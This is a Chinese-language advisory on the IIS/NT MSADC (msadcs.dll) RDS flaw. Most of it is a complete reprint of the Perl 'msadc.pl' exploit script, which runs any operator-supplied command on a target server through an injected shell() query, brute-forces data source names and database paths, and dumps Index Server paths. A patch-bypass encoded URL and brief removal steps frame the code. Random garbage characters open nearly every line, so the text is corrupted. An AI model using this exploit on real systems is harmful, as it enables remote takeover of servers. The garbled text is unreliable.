IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{(00,6M)i K4.GAGd 涉及程序：
_,G^#$pH Microsoft NT server
H 0 %;t .#BWu(EYV 描述：
AJ%x" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
E <O :
S|_} 0 详细：
]CL9N 如果你没有时间读详细内容的话，就删除:
76'vsg c:\Program Files\Common Files\System\Msadc\msadcs.dll
jO5R0^w 有关的安全问题就没有了。
`8D)j>Yh~ ^ y1P~4w? 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vwc)d{ND 7y/Pch 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
x kl XV 关于利用ODBC远程漏洞的描述，请参看:
S2!$ 0r |mg::' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D a@H^ "& Y5 Nh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
:t'*fHi ~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4ne95_i l&2 }/A 这里不再论述。
n}f*>Mn mqIcc'6f 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Y,
?- [] 0= ,vdT /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Gl@ -R Lo 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
a YC[15?'
wv6rjg:7 F~C9,`#Wf@ #将下面这段保存为txt文件，然后: "perl -x 文件名"
< gtqwH] G\I DgPj` #!perl
N8-!}\, #
bq}hj Cy
# MSADC/RDS 'usage' (aka exploit) script
^kF-mM= #
' x{E#4A # by rain.forest.puppy
*pZhwO !D #
kCuIEv@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
LY? `+/ # beta test and find errors!
BY&+fK ae xGU~FU use Socket; use Getopt::Std;
w4"4(SR. getopts("e:vd:h:XR", \%args);
/HiRbwQK# 9pPohR*#V print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
G K>. R<[ J8>8@m6 if (!defined $args{h} && !defined $args{R}) {
:RqTbE4B print qq~
3u tJlD Usage: msadc.pl -h <host> { -d <delay> -X -v }
^Hplrwj} -h <host> = host you want to scan (ip or domain)
A lH\IP -d <seconds> = delay between calls, default 1 second
b5Sgf'B^ -X = dump Index Server path table, if available
L6jD4ec8 -v = verbose
n$}) }kj -e = external dictionary file for step 5
tu%!j}3s r^2 >60q' Or a -R will resume a command session
qa!3l b_'M VuiK5?m ~; exit;}
`62iW3y ~|>q)4is6a $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
" : G\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'Drz6K_KrP if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k M>Bk \ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
LKx<hl$O $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S D=kpf; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
"'8^O Z R o/6 'g)r* if (!defined $args{R}){ $ret = &has_msadc;
hh$V[/iK die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
i!U,qV1 W-ctx"9DS print "Please type the NT commandline you want to run (cmd /c assumed):\n"
k>ERU]7[ . "cmd /c ";
Te :4 z@? $in=<STDIN>; chomp $in;
L]_1z $command="cmd /c " . $in ;
1lf 5xm. 10C, \ if (defined $args{R}) {&load; exit;}
vp#A D9h1 Fhr5)Z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G5R"5d' &try_btcustmr;
:hA=(iz |hlc#t ? print "\nStep 2: Trying to make our own DSN...";
<691pk X &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6 n R54wNm @ print "\nStep 3: Trying known DSNs...";
ohod)8 &known_dsn;
]l~TI8gC /%P|<[<
[ print "\nStep 4: Trying known .mdbs...";
x_yQoae
&known_mdb;
$^ wqoW%t {okx*]PIc if (defined $args{e}){
qVp V ZH! print "\nStep 5: Trying dictionary of DSN names...";
F"?OLV1B& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Xc!0'P0T Z fQzA}QD print "Sorry Charley...maybe next time?\n";
M zWVsV exit;
lebwGW,! !i`HjV0wS ##############################################################################
@'Y^ A s _j ?L sub sendraw { # ripped and modded from whisker
m,TN%*U! sleep($delay); # it's a DoS on the server! At least on mine...
5R?[My my ($pstr)=@_;
@Ft\~ +} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
YaWZOuxm die("Socket problems\n");
S T *\ Q if(connect(S,pack "SnA4x8",2,80,$target)){
W>*9T? select(S); $|=1;
YH
5jvvOI print $pstr; my @in=<S>;
1%R8q=_ select(STDOUT); close(S);
}K8W%h<3S return @in;
aT[qJ bp1 } else { die("Can't connect...\n"); }}
.w .`1
g S*5hO) C ##############################################################################
bJ$6[H-: ,y'E#_cTgQ sub make_header { # make the HTTP request
" G&S`8 my $msadc=<<EOT
|lnMT) ^D POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
zP
F0M( User-Agent: ACTIVEDATA
o rGkS<P Host: $ip
C }= *%S Content-Length: $clen
)Td;2 Connection: Keep-Alive
-{^I T` HoTg7/iK ADCClientVersion:01.06
?
_>L<Y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Xqz\%&G R[%Zy Q_ --!ADM!ROX!YOUR!WORLD!
Ep.Q&(D
> Content-Type: application/x-varg
~eVq Fc Content-Length: $reqlen
U i^~A =F B[<% EOT
l[_ y|W5 ; $msadc=~s/\n/\r\n/g;
a&?SRC'x return $msadc;}
vzr?#FG Vg>\@ C .s ##############################################################################
#%=6DHsK &"h 9Awn2 sub make_req { # make the RDS request
Q"@x,8xW my ($switch, $p1, $p2)=@_;
_ yu d my $req=""; my $t1, $t2, $query, $dsn;
=tS1|_ 0pC}+
+ if ($switch==1){ # this is the btcustmr.mdb query
9}=]oX!+V $query="Select * from Customers where City=" . make_shell();
V\!6K $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
cg]\R1Gm $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
d&@>P&AT " 0:&x
n8L elsif ($switch==2){ # this is general make table query
;a Y.CgX $query="create table AZZ (B int, C varchar(10))";
MPt n$@ $dsn="$p1";}
d"P\ =`+ N>+s8L.? elsif ($switch==3){ # this is general exploit table query
W`q iPLk $query="select * from AZZ where C=" . make_shell();
8 BHtN $dsn="$p1";}
Tx+Bkfj h8ikM&fl elsif ($switch==4){ # attempt to hork file info from index server
Y%i=u:}fm $query="select path from scope()";
+i@r-OL $dsn="Provider=MSIDXS;";}
2$fFl,v!z P_ [A elsif ($switch==5){ # bad query
4dB6cg $query="select";
{#Lj,o $dsn="$p1";}
LhfI"fc +p:?blG $t1= make_unicode($query);
(D?%(f $t2= make_unicode($dsn);
#TXN\YNP $req = "\x02\x00\x03\x00";
BeNH" Y:E $req.= "\x08\x00" . pack ("S1", length($t1));
HkP')= sa $req.= "\x00\x00" . $t1 ;
ib3 u : $req.= "\x08\x00" . pack ("S1", length($t2));
CSA.6uI T $req.= "\x00\x00" . $t2 ;
:nt 7jm, $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
YV6@SXy return $req;}
"<e<0:: E!,+#%O> ##############################################################################
@AvD V$F ptCF W_UV sub make_shell { # this makes the shell() statement
IQ5H`o?[B
return "'|shell(\"$command\")|'";}
cEP!DUo c Im_~HH ##############################################################################
N`G*
h^YQ }%&hxhR^t3 sub make_unicode { # quick little function to convert to unicode
{ hXIP` my ($in)=@_; my $out;
4)cQU.(*k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;x|E}XD return $out;}
w;=fi}<G|e A<1:vV ##############################################################################
[32]wgw+{1 e]1&f.K sub rdo_success { # checks for RDO return success (this is kludge)
z<T(afM{* my (@in) = @_; my $base=content_start(@in);
<;O - N= if($in[$base]=~/multipart\/mixed/){
9i&(VzY[= return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6 a E:v R2 return 0;}
udEJo~u j[^(<R8 ##############################################################################
a-A>A_. rzR=% > sub make_dsn { # this makes a DSN for us
!zu YO3: my @drives=("c","d","e","f");
{c7ZA %T~R print "\nMaking DSN: ";
J$]-)`[G& foreach $drive (@drives) {
XL`*T bx print "$drive: ";
xb N)z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
g}cb>'=={ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Y]u6f c . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
TL29{'4V $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+*O$]Hh return 0 if $2 eq "404"; # not found/doesn't exist
>nqDUGnEo> if($2 eq "200") {
v>p UVM foreach $line (@results) {
U #u =9%' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3? R56$-+ } return 0;}
z]^u@]@NC B8f BX!u/ ##############################################################################
5$ <\ sDylSYq sub verify_exists {
j,]KidDWm my ($page)=@_;
1\[En/6 my @results=sendraw("GET $page HTTP/1.0\n\n");
K4r"Q*h return $results[0];}
JGJy _.C ?4[IIX- ##############################################################################
k\ 2.\Lwb )\k({S sub try_btcustmr {
;fdROI my @drives=("c","d","e","f");
!LG 5q/}& my @dirs=("winnt","winnt35","winnt351","win","windows");
l/wdu( &n} eF- foreach $dir (@dirs) {
cl`!A2F1G# print "$dir -> "; # fun status so you can see progress
w_>SxSS7 foreach $drive (@drives) {
}o'WR'LX print "$drive: "; # ditto
]12ypcf $reqlen=length( make_req(1,$drive,$dir) ) - 28;
DE $HF*WY $reqlenlen=length( "$reqlen" );
_#jR6g TY $clen= 206 + $reqlenlen + $reqlen;
Dc2 U+U(J _ $ Wj1h my @results=sendraw(make_header() . make_req(1,$drive,$dir));
75^U<Hz-3{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
fcim4d fP else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
>dr34=( r Ljb'\<* ##############################################################################
0LjF$3GpZ g }%$VUSA sub odbc_error {
+K@ w h my (@in)=@_; my $base;
z;V Ai=m
q my $base = content_start(@in);
dR^7d _! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
3 7F&s $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%u )niY-g $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wW aJ%z>3y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K [.*8 return $in[$base+4].$in[$base+5].$in[$base+6];}
o>#ue<Bc6 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
"B$r{ vG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
=vpXYj $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
d'x'hp% wa)E.(x ##############################################################################
[!<W{ ($5 M9t`w-@_w sub verbose {
/^2& @P7 my ($in)=@_;
+(pFU\&U3H return if !$verbose;
A#&,S4Wi| print STDOUT "\n$in\n";}
h &k*i IwTAM9n ##############################################################################
" iz'x-wy k)a3j{{ sub save {
vg.K-"yQW my ($p1, $p2, $p3, $p4)=@_;
|e]2 >NjQa open(OUT, ">rds.save") || print "Problem saving parameters...\n";
#77p>zhY print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jQV.U~25Q close OUT;}
5LkpfmR zFFip/z\ ##############################################################################
KeGGF]=> Os5Xejh`I sub load {
|})7\o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>l$qE open(IN,"<rds.save") || die("Couldn't open rds.save\n");
cD6T 4 @p=<IN>; close(IN);
S, * $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<Rno ; $target= inet_aton($ip) || die("inet_aton problems");
GY~Q) Z print "Resuming to $ip ...";
Hy*_4r $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W`d\A3v if($p[1]==1) {
m?@0Pf}xa $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
b M rR $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
pO10L` | my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
d~>d\K%v if (rdo_success(@results)){print "Success!\n";}
,WA[HwY- else { print "failed\n"; verbose(odbc_error(@results));}}
hd'JXKMy elsif ($p[1]==3){
Za>0 &Fnf if(run_query("$p[3]")){
T\
cJn>kCn print "Success!\n";} else { print "failed\n"; }}
-!ARVf * elsif ($p[1]==4){
Q&@~<!t if(run_query($drvst . "$p[3]")){
PlX6,3F print "Success!\n"; } else { print "failed\n"; }}
Wifr%&t{J exit;}
2H]~X9,z2 H T a]T' ##############################################################################
fl4z'8P"( ij| + MX sub create_table {
)M: pg% my ($in)=@_;
SXJ]()L?[v $reqlen=length( make_req(2,$in,"") ) - 28;
_P:}]5-| $reqlenlen=length( "$reqlen" );
.O1Kwu $clen= 206 + $reqlenlen + $reqlen;
kgQyG[u my @results=sendraw(make_header() . make_req(2,$in,""));
M In6p return 1 if rdo_success(@results);
aOOkC&% my $temp= odbc_error(@results); verbose($temp);
mT3'kUZ}] return 1 if $temp=~/Table 'AZZ' already exists/;
z+=wql*Eo return 0;}
6z-&Zu7@ >}p'E9J?r ##############################################################################
4 Gsbcl{ B.T|e,g26 sub known_dsn {
6% ^9`|3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Rr!oT?6J? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^]_5oFRIj "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
zg[.Pws:E "banner", "banners", "ads", "ADCDemo", "ADCTest");
1%^d <%,] 03$lg DQ foreach $dSn (@dsns) {
q ' print ".";
"(QI7:iM next if (!is_access("DSN=$dSn"));
tnn,lWu| if(create_table("DSN=$dSn")){
zNo( |;19 print "$dSn successful\n";
,xzSFs >2 if(run_query("DSN=$dSn")){
@Q%g#N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8#_"WzDw print "Something's borked. Use verbose next time\n";}}} print "\n";}
A
$GiO -:jC.}
Y ##############################################################################
)2YZ [~3 )Z.M(P sub is_access {
g:&V9 ~FR my ($in)=@_;
+'!4kwT R $reqlen=length( make_req(5,$in,"") ) - 28;
:VvJx] $reqlenlen=length( "$reqlen" );
x$WdW+glZ- $clen= 206 + $reqlenlen + $reqlen;
o<f#Zi my @results=sendraw(make_header() . make_req(5,$in,""));
~Bi{k'A9 my $temp= odbc_error(@results);
MB#KLTwnT verbose($temp); return 1 if ($temp=~/Microsoft Access/);
MF}}o0P return 0;}
C>0='@LB@r 'C" ) X ##############################################################################
l0sBXs`3 b /Sn>{ & sub run_query {
Qk_ Mx" my ($in)=@_;
|Ox !tvyr $reqlen=length( make_req(3,$in,"") ) - 28;
"KhVS $reqlenlen=length( "$reqlen" );
c8=@ s# $clen= 206 + $reqlenlen + $reqlen;
giNyD4uO my @results=sendraw(make_header() . make_req(3,$in,""));
i4p2]Nr
t return 1 if rdo_success(@results);
*9?T?S|^$F my $temp= odbc_error(@results); verbose($temp);
(F.vVldBy return 0;}
bpv?$j-j 2{gd4K t6. ##############################################################################
d$O)k+j <M,A:u\qSQ sub known_mdb {
$At,D.mGkb my @drives=("c","d","e","f","g");
L[LgQ7es Q my @dirs=("winnt","winnt35","winnt351","win","windows");
;i,:F`b~ my $dir, $drive, $mdb;
WER\04%D\m my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#2U4}#Mi ]di9dLT # this is sparse, because I don't know of many
v."0igMO my @sysmdbs=( "\\catroot\\icatalog.mdb",
`
g5S "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
mm@)uV<\ "\\system32\\certmdb.mdb",
L3
VyW8Y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
HHMv%H]M YYiT,Xp<A my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%J
'RO "\\cfusion\\cfapps\\forums\\forums_.mdb",
\NN5'DBx "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[ ]LiL;A& "\\cfusion\\cfapps\\security\\realm_.mdb",
"p [FFg "\\cfusion\\cfapps\\security\\data\\realm.mdb",
320g!r "\\cfusion\\database\\cfexamples.mdb",
N:yyDeGyW "\\cfusion\\database\\cfsnippets.mdb",
9tZ+ ?O5 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
5%Xny8
]|D "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.}6Mj]7?i "\\cfusion\\brighttiger\\database\\cleam.mdb",
DX$zzf "\\cfusion\\database\\smpolicy.mdb",
qt
!T %K "\\cfusion\\database\cypress.mdb",
Wt8 = j1> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~
""?: "\\website\\cgi-win\\dbsample.mdb",
r :n -?P "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Hs wgv$n "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9" RGf 1] ); #these are just
Ov5 *&* P foreach $drive (@drives) {
-Z/'kYj?U foreach $dir (@dirs){
6d% |yl foreach $mdb (@sysmdbs) {
~5xs$ub print ".";
|x ~<Dc>0* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
RgQ;f YS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
_);;@T if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
n;5;D print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`=B0NC.3 } else { print "Something's borked. Use verbose next time\n"; }}}}}
f|&ga'5g& iOO1\9{@ foreach $drive (@drives) {
>FRJvZ6 foreach $mdb (@mdbs) {
HcKZmL. wp print ".";
sIZ|N"2]A* if(create_table($drv . $drive . $dir . $mdb)){
.!&S{;Vv?W print "\n" . $drive . $dir . $mdb . " successful\n";
PM
A61g if(run_query($drv . $drive . $dir . $mdb)){
s,2gd' print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
= Ik G;gg } else { print "Something's borked. Use verbose next time\n"; }}}}
e= <%{M& }
> dTJ ,cqZb0VP{t ##############################################################################
mI[$c"!BD |k-IY] 6 sub hork_idx {
:d5f U: print "\nAttempting to dump Index Server tables...\n";
N+[ |"v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
D]h~ \ $reqlen=length( make_req(4,"","") ) - 28;
= Nd &My $reqlenlen=length( "$reqlen" );
fjh0Z i45 $clen= 206 + $reqlenlen + $reqlen;
tHj |_t my @results=sendraw2(make_header() . make_req(4,"",""));
JnT1-=t. if (rdo_success(@results)){
.vbUv3NI my $max=@results; my $c; my %d;
2\: z
for($c=19; $c<$max; $c++){
P i lV5Gg $results[$c]=~s/\x00//g;
%N, P?
,U $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7z?r x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"V:24\vO $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
<f'2dT@6 $d{"$1$2"}="";}
xg>AW Q foreach $c (keys %d){ print "$c\n"; }
WRWcB } else {print "Index server doesn't seem to be installed.\n"; }}
mu!hD ^fw NSPa3NE ##############################################################################
W97%12J3 )=
,Lf j8x sub dsn_dict {
.$k2.-k open(IN, "<$args{e}") || die("Can't open external dictionary\n");
m R? } gR while(<IN>){
A>c/q&WUk $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
V=C@ocy Z next if (!is_access("DSN=$dSn"));
EK:s# if(create_table("DSN=$dSn")){
@YMQbjbr print "$dSn successful\n";
JmR)
g if(run_query("DSN=$dSn")){
: cmQ
w print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
``:AF: print "Something's borked. Use verbose next time\n";}}}
y.LJ 5K$&a print "\n"; close(IN);}
xGzp}
;8G( l ##############################################################################
LD~s@}yH> - -~m{qmy sub sendraw2 { # ripped and modded from whisker
ly{Q>MBM sleep($delay); # it's a DoS on the server! At least on mine...
0F\ e*{gc my ($pstr)=@_;
@"`{gdB$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2`o}neF{ die("Socket problems\n");
\ :*<En0 if(connect(S,pack "SnA4x8",2,80,$target)){
jmAQ!y|W. print "Connected. Getting data";
0V:DeX$bZ open(OUT,">raw.out"); my @in;
B f_o Ic select(S); $|=1; print $pstr;
;bZIj` D( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/cy'% .! close(OUT); select(STDOUT); close(S); return @in;
-%U 15W; } else { die("Can't connect...\n"); }}
\rw/d5. l[2 d{r ##############################################################################
v%e- vl P`^{dH $P sub content_start { # this will take in the server headers
4RH'GnLa my (@in)=@_; my $c;
eDm~B (G$ for ($c=1;$c<500;$c++) {
Z(8'ki if($in[$c] =~/^\x0d\x0a/){
^vPt Ppt if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
_PPW9U S{ else { return $c+1; }}}
f|*vWHSM return -1;} # it should never get here actually
g* NKY`, buXPeIo^VM ##############################################################################
r/![ohrEB -,;Iob56! sub funky {
1 D0_k my (@in)=@_; my $error=odbc_error(@in);
+b7}R7:AFH if($error=~/ADO could not find the specified provider/){
8"M*,?.] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
K$H>/*&'~ exit;}
fC2 if($error=~/A Handler is required/){
\k=. w print "\nServer has custom handler filters (they most likely are patched)\n";
&~u=vuX exit;}
Y=oj0(Q* if($error=~/specified Handler has denied Access/){
9q2 >_Mv print "\nServer has custom handler filters (they most likely are patched)\n";
UH<nc;.B exit;}}
;
)Vro s7FJJT n ##############################################################################
N
F[v/S xb!h?F& sub has_msadc {
(O
N
\-* my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
,_ XDCu @ my $base=content_start(@results);
KU dpOMYX return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
>+[uV ^2[ return 0;}
)V^J^1 .qyk [O ########################
wp!< u
% qNhQ2x\ 9 59i2z 解决方案：
l_lm)'ag 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
sOJH$G3O 2、移除web 目录: /msadc
